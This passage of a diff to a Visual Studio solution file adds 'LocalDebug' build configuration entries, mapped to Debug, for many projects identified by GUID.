CPU.Build.0 = Debug|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Release|Any CPU.ActiveCfg = Release|Any CPU {799E7818-8BA1-4D78-9236-3EB0CC6D4EEE}.Release|Any CPU.Build.0 = Release|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Release|Any CPU.ActiveCfg = Release|Any CPU {86CED5CB-8B36-403A-9F11-5FFA68A9D80F}.Release|Any CPU.Build.0 = Release|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Release|Any CPU.ActiveCfg = Release|Any CPU {3D9501EA-C4BD-4564-8FF6-7EADFA51C0EA}.Release|Any CPU.Build.0 = Release|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {E1E09FED-7F20-4E91-B834-E42C043000AF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Release|Any CPU.ActiveCfg = Release|Any CPU {E1E09FED-7F20-4E91-B834-E42C043000AF}.Release|Any CPU.Build.0 = Release|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Debug|Any CPU.Build.0 = Debug|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Release|Any CPU.ActiveCfg = Release|Any CPU {07CA8476-E528-4BB1-BC99-DA0F578D04DA}.Release|Any CPU.Build.0 = Release|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {B659B234-A1C9-4A47-9962-261EB80F97CF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Release|Any CPU.ActiveCfg = Release|Any CPU {B659B234-A1C9-4A47-9962-261EB80F97CF}.Release|Any CPU.Build.0 = Release|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Release|Any CPU.ActiveCfg = Release|Any CPU {C37E2FA8-FF6C-48CB-A4A0-8946E82D414B}.Release|Any CPU.Build.0 = Release|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Release|Any CPU.ActiveCfg = Release|Any CPU {B9F0C374-0EB9-4204-A9FD-A23F8E97E5DB}.Release|Any CPU.Build.0 = Release|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Release|Any CPU.ActiveCfg = Release|Any CPU {8845AD97-42C6-46AF-BE93-81BD7A95EF8A}.Release|Any CPU.Build.0 = Release|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {24F82630-FB37-450E-847A-997ADCCDAAA6}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Release|Any CPU.ActiveCfg = Release|Any CPU {24F82630-FB37-450E-847A-997ADCCDAAA6}.Release|Any CPU.Build.0 = Release|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {EDC06F99-94D5-4632-A104-2FF08C00EC85}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Release|Any CPU.ActiveCfg = Release|Any CPU {EDC06F99-94D5-4632-A104-2FF08C00EC85}.Release|Any CPU.Build.0 = Release|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Release|Any CPU.ActiveCfg = Release|Any CPU {3EC5555E-2101-443C-9CC4-D3599E7AA8F6}.Release|Any CPU.Build.0 = Release|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Release|Any CPU.ActiveCfg = Release|Any CPU {C14CCC63-A5F4-4A6B-8D9C-FC148598C0EC}.Release|Any CPU.Build.0 = Release|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Release|Any CPU.ActiveCfg = Release|Any CPU {E88229CB-31BE-4FA4-874E-F7DD9052FB09}.Release|Any CPU.Build.0 = Release|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Release|Any CPU.ActiveCfg = Release|Any CPU {94D122AB-5F1A-4ACE-BDCC-FD508062CF2A}.Release|Any CPU.Build.0 = Release|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Debug|Any CPU.Build.0 = Debug|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Release|Any CPU.ActiveCfg = Release|Any CPU {616BFB6A-1D0F-404C-B76C-B2F40A519C13}.Release|Any CPU.Build.0 = Release|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Release|Any CPU.ActiveCfg = Release|Any CPU {1B04A224-B536-4FAA-98BC-8F16B4169EF1}.Release|Any CPU.Build.0 = Release|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Release|Any CPU.ActiveCfg = Release|Any CPU {65ADD468-0F5C-4CBD-B01A-1F1EFE9F9D8F}.Release|Any CPU.Build.0 = Release|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Release|Any CPU.ActiveCfg = Release|Any CPU {F2990C10-3A15-4E5B-9040-CBBDD4E61CFD}.Release|Any CPU.Build.0 = Release|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Release|Any CPU.ActiveCfg = Release|Any CPU {4DBA49AB-04F1-426E-9A0D-2FB69B6C908B}.Release|Any CPU.Build.0 = Release|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Release|Any CPU.ActiveCfg = Release|Any CPU {A72F35EA-1FF7-4333-B6A6-4FEC912D1450}.Release|Any CPU.Build.0 = Release|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Release|Any CPU.ActiveCfg = Release|Any CPU {16AD2B69-0B0A-41F4-9679-E83F2FD45DDB}.Release|Any CPU.Build.0 = Release|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Release|Any CPU.ActiveCfg = Release|Any CPU {67BDE95C-3702-41E4-8EFD-6665E19DD2B8}.Release|Any CPU.Build.0 = Release|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Release|Any CPU.ActiveCfg = Release|Any CPU {C4388017-1E89-4E37-B6F8-DD2E74375A1E}.Release|Any CPU.Build.0 = Release|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Release|Any CPU.ActiveCfg = Release|Any CPU {C05C3D0A-2945-46A6-BAAA-09D2B9B3AF78}.Release|Any CPU.Build.0 = Release|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {CF759185-9514-4E41-BAA5-04E8A53CFD23}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Release|Any CPU.ActiveCfg = Release|Any CPU {CF759185-9514-4E41-BAA5-04E8A53CFD23}.Release|Any CPU.Build.0 = Release|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Release|Any CPU.ActiveCfg = Release|Any CPU {3E787F37-2EC4-44DB-90A2-0D2E9C132417}.Release|Any CPU.Build.0 = Release|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Release|Any CPU.ActiveCfg = Release|Any CPU {B2F730A6-6672-44A5-82E7-9DD00806BAA1}.Release|Any CPU.Build.0 = Release|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Release|Any CPU.ActiveCfg = Release|Any CPU {4461ED3A-BD34-4AF2-8879-97CC5B74C01D}.Release|Any CPU.Build.0 = Release|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Release|Any CPU.ActiveCfg = Release|Any CPU {3B1F1FDF-F37B-4F01-AFAB-03759672C665}.Release|Any CPU.Build.0 = Release|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Release|Any CPU.ActiveCfg = Release|Any CPU {7AD05B04-E7C8-4FE7-98C4-A1FD86B97A91}.Release|Any CPU.Build.0 = Release|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Release|Any CPU.ActiveCfg = Release|Any CPU {2BD9AF2A-4E2F-4019-AEC2-6D212C9B98DC}.Release|Any CPU.Build.0 = Release|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Release|Any CPU.ActiveCfg = Release|Any CPU {DB7C855B-004A-42C7-A68B-FF4D7D95DAD8}.Release|Any CPU.Build.0 = Release|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {58670B32-4A68-4B31-8B77-391A099B5EC0}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Release|Any CPU.ActiveCfg = Release|Any CPU {58670B32-4A68-4B31-8B77-391A099B5EC0}.Release|Any CPU.Build.0 = Release|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Debug|Any CPU.Build.0 = Debug|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Release|Any CPU.ActiveCfg = Release|Any CPU {15A65927-06D6-4B3F-B6B3-545E9F1D13A2}.Release|Any CPU.Build.0 = Release|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {775CB280-1761-4A87-A185-2165912104B6}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Release|Any CPU.ActiveCfg = Release|Any CPU {775CB280-1761-4A87-A185-2165912104B6}.Release|Any CPU.Build.0 = Release|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {FA75CA77-9941-4212-8967-3B42D9700912}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Release|Any CPU.ActiveCfg = Release|Any CPU {FA75CA77-9941-4212-8967-3B42D9700912}.Release|Any CPU.Build.0 = Release|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {5AA579A8-6057-4FF1-A208-F5AD5761594C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Release|Any CPU.ActiveCfg = Release|Any CPU {5AA579A8-6057-4FF1-A208-F5AD5761594C}.Release|Any CPU.Build.0 = Release|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Release|Any CPU.ActiveCfg = Release|Any CPU {7C5CC9E0-E4E0-4D29-ACC1-1C54048658A7}.Release|Any CPU.Build.0 = Release|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Release|Any CPU.ActiveCfg = Release|Any CPU {671EE4AE-FA02-45F8-BDA3-47D938C7BC0C}.Release|Any CPU.Build.0 = Release|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Release|Any CPU.ActiveCfg = Release|Any CPU {604FB0B2-E526-4FDF-B468-96B31B4BEFB1}.Release|Any CPU.Build.0 = Release|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Release|Any CPU.ActiveCfg = Release|Any CPU {9E28A3CA-7903-4F5E-84F0-50767253CF6E}.Release|Any CPU.Build.0 = Release|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Release|Any CPU.ActiveCfg = Release|Any CPU {D7B577CF-A0C1-4E94-ACB1-5923D78CC063}.Release|Any CPU.Build.0 = Release|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Release|Any CPU.ActiveCfg = Release|Any CPU {DAAF0CF0-3766-4977-AA81-3E0A96DACACC}.Release|Any CPU.Build.0 = Release|Any CPU {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 